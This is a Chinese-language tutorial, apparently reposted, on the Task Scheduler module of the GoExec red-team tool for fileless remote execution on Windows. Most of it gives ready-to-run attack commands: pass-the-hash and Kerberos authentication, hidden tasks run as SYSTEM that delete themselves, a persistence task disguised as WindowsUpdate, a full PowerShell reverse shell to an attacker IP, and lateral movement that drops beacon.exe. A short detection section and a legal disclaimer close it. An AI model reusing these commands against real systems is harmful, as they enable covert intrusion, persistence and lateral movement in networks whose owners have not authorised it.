GoExec任务计划模块实战:demand与create命令实现无文件落地攻击
GoExec任务计划模块实战demand与create命令实现无文件落地攻击【免费下载链接】goexecWindows remote execution multitool项目地址: https://gitcode.com/gh_mirrors/goe/goexecGoExec是一个功能强大的Windows远程执行工具专门为红队渗透测试和系统管理员设计提供了多种无文件落地的远程执行方法。本文将重点介绍GoExec任务计划模块中的demand和create命令这两个命令利用Windows任务计划服务MS-TSCH实现无文件落地攻击是红队操作中非常实用的技术手段。 任务计划模块简介GoExec的tsch模块利用Windows任务计划服务MS-TSCH在远程目标上执行命令避免了传统文件落地攻击的痕迹。该模块提供了三种主要方法demand命令- 注册任务并立即启动执行create命令- 创建定时任务自动执行change命令- 修改现有任务定义这些方法都通过pkg/goexec/tsch/tsch.go中的XML任务定义机制实现确保与Windows任务计划服务的完全兼容。 demand命令即时任务执行demand命令的核心优势在于能够立即执行远程任务无需等待定时触发。让我们深入了解它的工作原理核心技术实现在cmd/tsch.go中demand命令通过以下关键步骤实现// 注册任务定义 path, err : m.registerTask(ctx, registerOptions{ AllowStartOnDemand: true, AllowHardTerminate: true, Hidden: !m.NotHidden, triggers: taskTriggers{}, }, execIO)注册成功后命令调用SchRpcRun强制启动任务runResponse, err : m.tsch.Run(ctx, itaskschedulerservice.RunRequest{ Path: path, Flags: flags, SessionID: m.SessionId, })会话劫持功能demand命令支持会话劫持可以指定--session参数在特定桌面会话中执行任务# 在会话1中执行notepad.exe goexec tsch demand $target --user $auth_user --password $auth_pass \ --exec notepad.exe --session 1自动清理机制默认情况下任务执行后会自动删除避免留下痕迹if !m.NoDelete { m.AddCleaners(func(ctxInner context.Context) error { return m.deleteTask(ctxInner, path) }) }⏰ create命令定时任务执行create命令采用更隐蔽的方式通过设置定时触发来执行任务减少了即时网络活动提高了隐蔽性。智能定时机制在pkg/goexec/tsch/create.go中create命令实现了灵活的定时控制startTime : time.Now().UTC().Add(m.StartDelay) stopTime : startTime.Add(m.StopDelay) trigger : taskTimeTrigger{ StartBoundary: startTime.Format(TaskXmlDurationFormat), Enabled: true, }自动删除策略create命令提供了两种清理方式DeleteExpiredTaskAfter设置- 通过XML配置自动删除直接调用SchRpcDelete- 使用--call-delete参数if !m.NoDelete !m.CallDelete { trigger.EndBoundary stopTime.Format(TaskXmlDurationFormat) deleteAfter xmlDuration(m.DeleteDelay) }实战应用示例# 使用Kerberos认证创建定时任务执行Seatbelt工具 goexec tsch create $target \ --user ${auth_user}${domain} \ --dc $dc_ip \ --aes-key $auth_aes \ --command C:\Windows\Temp\Seatbelt.exe -groupsystem \ --out ./seatbelt.out \ --out-timeout 5m 任务XML定义详解GoExec的任务定义在pkg/goexec/tsch/task/task.go中实现包含完整的任务配置Task version1.2 xmlnshttp://schemas.microsoft.com/windows/2004/02/mit/task Triggers TimeTrigger StartBoundary2024-01-01T00:00:00Z/StartBoundary Enabledtrue/Enabled /TimeTrigger /Triggers Actions ContextAuthor Exec CommandC:\Windows\System32\cmd.exe/Command Arguments/c whoami/Arguments /Exec /Actions Principals Principal idAuthor UserIdS-1-5-18/UserId RunLevelHighestAvailable/RunLevel /Principal /Principals Settings AllowStartOnDemandtrue/AllowStartOnDemand AllowHardTerminatetrue/AllowHardTerminate Hiddentrue/Hidden /Settings /Task️ 安全与隐蔽性设计1. 无文件落地优势直接在内存中执行命令不写入磁盘减少防病毒软件检测概率避免留下文件系统痕迹2. 任务隐藏技术Settings: taskSettings{ Hidden: !m.NotHidden, AllowStartOnDemand: true, AllowHardTerminate: true, }3. 身份模拟机制# 使用SYSTEM账户执行 goexec tsch demand $target --user $auth_user --password $auth_pass \ --exec cmd.exe --args /c whoami /priv --sid S-1-5-18 demand与create命令对比特性demand命令create命令执行时机立即执行定时执行网络活动立即触发延迟触发隐蔽性较低较高适用场景快速执行持久化/定时自动清理可选自动/可选会话劫持支持不支持 实战应用场景场景1快速信息收集# 使用demand命令快速收集系统信息 goexec tsch demand $target \ --user ${auth_user}${domain} \ --nt-hash $auth_nt \ --exec C:\Windows\System32\cmd.exe \ --args /c systeminfo whoami /all netstat -ano \ --out ./system_info.txt场景2定时持久化# 使用create命令设置定时反向shell goexec tsch create $target \ --user $auth_user \ --password $auth_pass \ --task \Microsoft\Windows\Maintenance\WindowsUpdate \ --exec powershell.exe \ --args -nop -c $client New-Object System.Net.Sockets.TCPClient(\attacker_ip\,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback \PS \ (pwd).Path \ \;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() \ --start-delay 2m \ --delay-stop 30s场景3权限提升与横向移动# 结合WMI和任务计划进行横向移动 goexec wmi proc $target1 \ --user $admin_user \ --password $admin_pass \ --exec goexec.exe \ --args tsch demand $target2 --user $admin_user --password $admin_pass --exec C:\\Windows\\Temp\\beacon.exe 检测与防御建议检测指标任务计划日志异常- 监控SchRpcRegisterTask和SchRpcRun调用XML任务定义分析- 检查Hiddentrue的任务SYSTEM账户异常活动- 监控S-1-5-18账户的任务执行网络流量模式- 检测异常的MS-TSCH协议流量防御措施最小权限原则- 限制任务计划服务权限日志监控- 启用详细的任务计划审计网络分段- 限制任务计划服务的网络访问定期审查- 检查异常任务定义 最佳实践建议1. 选择合适的执行方法快速执行选demand持久化选create考虑目标环境的时间同步状态评估网络监控强度2. 认证方式选择# Kerberos认证推荐 goexec tsch demand $target --user userdomain --kerberos --dc dc_ip # NTLM哈希认证 goexec tsch create $target --user user --nt-hash ntlm_hash # 密码认证 goexec tsch change $target --user user --password password3. 输出收集策略# 使用SMB收集输出 goexec tsch demand $target --exec cmd.exe --args /c ipconfig --out - # 保存到文件 goexec tsch create $target --exec powershell.exe --args -c Get-Process --out ./processes.txt # 延长超时时间 goexec tsch demand $target --exec long_running.exe --out-timeout 10m 性能优化技巧1. 减少网络往返使用--no-delete避免额外的删除调用合理设置--start-delay和--delay-stop批量执行相关命令2. 错误处理优化# 启用调试日志 goexec tsch demand $target --debug --exec cmd.exe --args /c net user # 使用重试机制 for i in {1..3}; do goexec tsch create $target --exec payload.exe break sleep 5 done 总结GoExec的tsch模块通过demand和create命令提供了两种强大的无文件落地攻击方式。demand命令适合需要立即执行的场景而create命令更适合持久化和定时任务。两者的核心都在于利用Windows任务计划服务的合法功能实现隐蔽执行避免了传统文件落地攻击的检测风险。通过合理配置任务参数、选择适当的认证方式和优化执行策略红队成员可以有效地利用这些工具进行渗透测试和权限维持。同时防御方也应了解这些技术的工作原理以便更好地检测和防御此类攻击。记住这些技术仅应用于授权的安全测试和合法的系统管理场景。在实际使用中请确保遵守相关法律法规和授权范围。【免费下载链接】goexecWindows remote execution multitool项目地址: https://gitcode.com/gh_mirrors/goe/goexec创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考